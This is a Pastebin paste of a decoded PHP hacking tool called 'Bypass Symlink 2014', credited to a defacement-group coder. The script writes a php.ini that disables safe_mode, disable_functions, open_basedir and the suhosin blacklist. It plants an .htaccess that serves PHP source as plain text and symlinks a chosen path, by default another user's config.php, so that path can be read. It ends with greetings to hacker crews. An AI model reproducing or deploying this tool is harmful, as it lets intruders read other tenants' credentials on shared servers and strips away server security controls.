Advertisement
1337_Brain

Bypass Symlink 2014 Decoded Verson

Jun 26th, 2014
645
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.28 KB | None | 0 0
  1. /* i just try to Decod AnonGhost Symlink 2014 Server coded by Mauritania Attacker */
  2.  
  3. <?php ?><html xmlns="http://www.w3.org/1999/xhtml">
  4.  
  5. <head>
  6. <title>Bypass Symlink 2014</title><link rel="shortcut icon" href="http://www.iconj.com/ico/2/j/2j62fbaa2w.ico" type="image/x-icon" />
  7. <link href="http://fonts.googleapis.com/css?family=Ubuntu&effect=fire-animation" rel="stylesheet" type="text/css">
  8. <style type="text/css">
  9. html,body { margin: 0; padding: 0; outline: 0; }
  10. a{ font-size: 12px; }
  11. body { direction: ltr; background:
  12. url("http://i.imgur.com/hg21xZ9.png") repeat ,
  13. url("http://www7.0zz0.com/2014/05/28/03/906797114.jpg") no-repeat center top,top left,top right; background-color:#151515; color: rgb(0, 153, 0); text-align: center } input,textarea,select{ font-weight: bold; color: #000000; }
  14. input,textarea,select:hover{ box-shadow: 0px 0px 4px #00cc00; }
  15. .hedr { font-family: Tahoma, Arial, sans-serif ; font-size: 22px; }
  16. .cont a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 16px; text-shadow: 0px 0px 3px ; }
  17. .cont a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ; }
  18. .cone a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 12px; text-shadow: 0px 0px 3px ; }
  19. .cone a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ; }
  20. .tmp tr td{ border: solid 1px #006600; padding: 2px ; font-size: 13px; }
  21. .tmp tr td a { text-decoration: none; }
  22. .foter{ font-size: 9pt; color: #006600 ; text-align: center }
  23. .tmp tr td:hover{ box-shadow: 0px 0px 4px #00cc00; }
  24. .fot{ font-family:Tahoma, Arial, sans-serif; color: #009900 ; font-size: 11pt; }
  25. .for a : hover{ color: #FF0000 ; text-shadow: 0px 0px 1px #FF0000; }
  26. .ir { color: #FF0000; }
  27. .tul { face:Tahoma, Geneva, sans-serif; font-size: 7pt; }
  28. #menu a{ padding: 1px; border: 0px solid green; color: green; text-decoration: none;color: #009900; font-weight: bold; font-family: Tahoma, Geneva, sans-serif; font-size:12px; }
  29. #menu a:hover{ border: 0px solid red; color: red; }
  30.  
  31. </style>
  32.  
  33. </head>
  34.  
  35. <?php
  36.  
  37. // Extract php.ini //
  38.  
  39. $fp = fopen("php.ini","w+");
  40. fwrite($fp,"Safe_mode = OFF
  41. Safe_mode_gid = OFF
  42. Disable_Functions = NONE
  43. Open_basedir = OFF
  44. suhosin.executor.func.blacklist = NONE ");
  45.  
  46.  
  47.  
  48. echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:green;>Symlink Bypass 2014 Coded By Mauritania Attacker</b></b><br><p align="center">';
  49. echo'
  50. <form method="post">
  51. <input type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
  52. <input type="text" name="ghostfile" value="output.txt" size="60"/><br /><br />
  53. <input type="submit" value="Bypass" name="symlink" /> <br /><br />
  54.  
  55.  
  56.  
  57.  
  58.  
  59. </form>
  60. ';
  61. echo '<div class="tul"><b>PHP VERSION:</b> <font color="009900" face="shell, Geneva, sans-serif" style="font-size: 8pt">';echo phpversion();
  62.  
  63. $fichier = $_POST['file'];
  64. $ghostfile = $_POST['ghostfile'];
  65. $symlink = $_POST['symlink'];
  66.  
  67. if ($symlink)
  68. {
  69.  
  70.  
  71. $dir = "mauritania";
  72. if(file_exists($dir)) {
  73. echo "<br><font color='red'>[+] mauritania Folder Already Exist °_° are you Drunk XD !!!</font><br />
  74. ";
  75. } else {
  76. @mkdir($dir); {
  77. echo "<br><font color='red'>\!/ mauritania Folder Created ^_^ \!/</font><br />
  78. ";
  79. echo "<br><font color='red'>\!/ $ghostfile Retrieved Successfully ^_^ \!/</font><br />
  80. ";
  81.  
  82. } }
  83.  
  84. // Extract Priv8 htaccess File //
  85. $priv9 = "#Priv9 htaccess By Mauritania Attacker
  86. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  87. DirectoryIndex $ghostfile
  88. ForceType text/plain
  89. AddType text/plain .php
  90. AddType text/plain .html
  91. AddType text/html .shtml
  92. AddType txt .php
  93. Options All
  94. Options All
  95. ";
  96. $f =@fopen ('mauritania/.htaccess','w');
  97. @fwrite($f , $priv9);
  98.  
  99. @symlink("$fichier","mauritania/$ghostfile");
  100.  
  101. echo '<br /><a target="_blank" href="mauritania/" >'.$ghostfile.'</a>';
  102.  
  103. }
  104. echo"<h3>
  105. GreetZ To : AnonGhost - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG</h3>
  106. ";
  107.  
  108. echo"Coder: Mauritania Attacker";
  109.  
  110.  
  111.  
  112. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement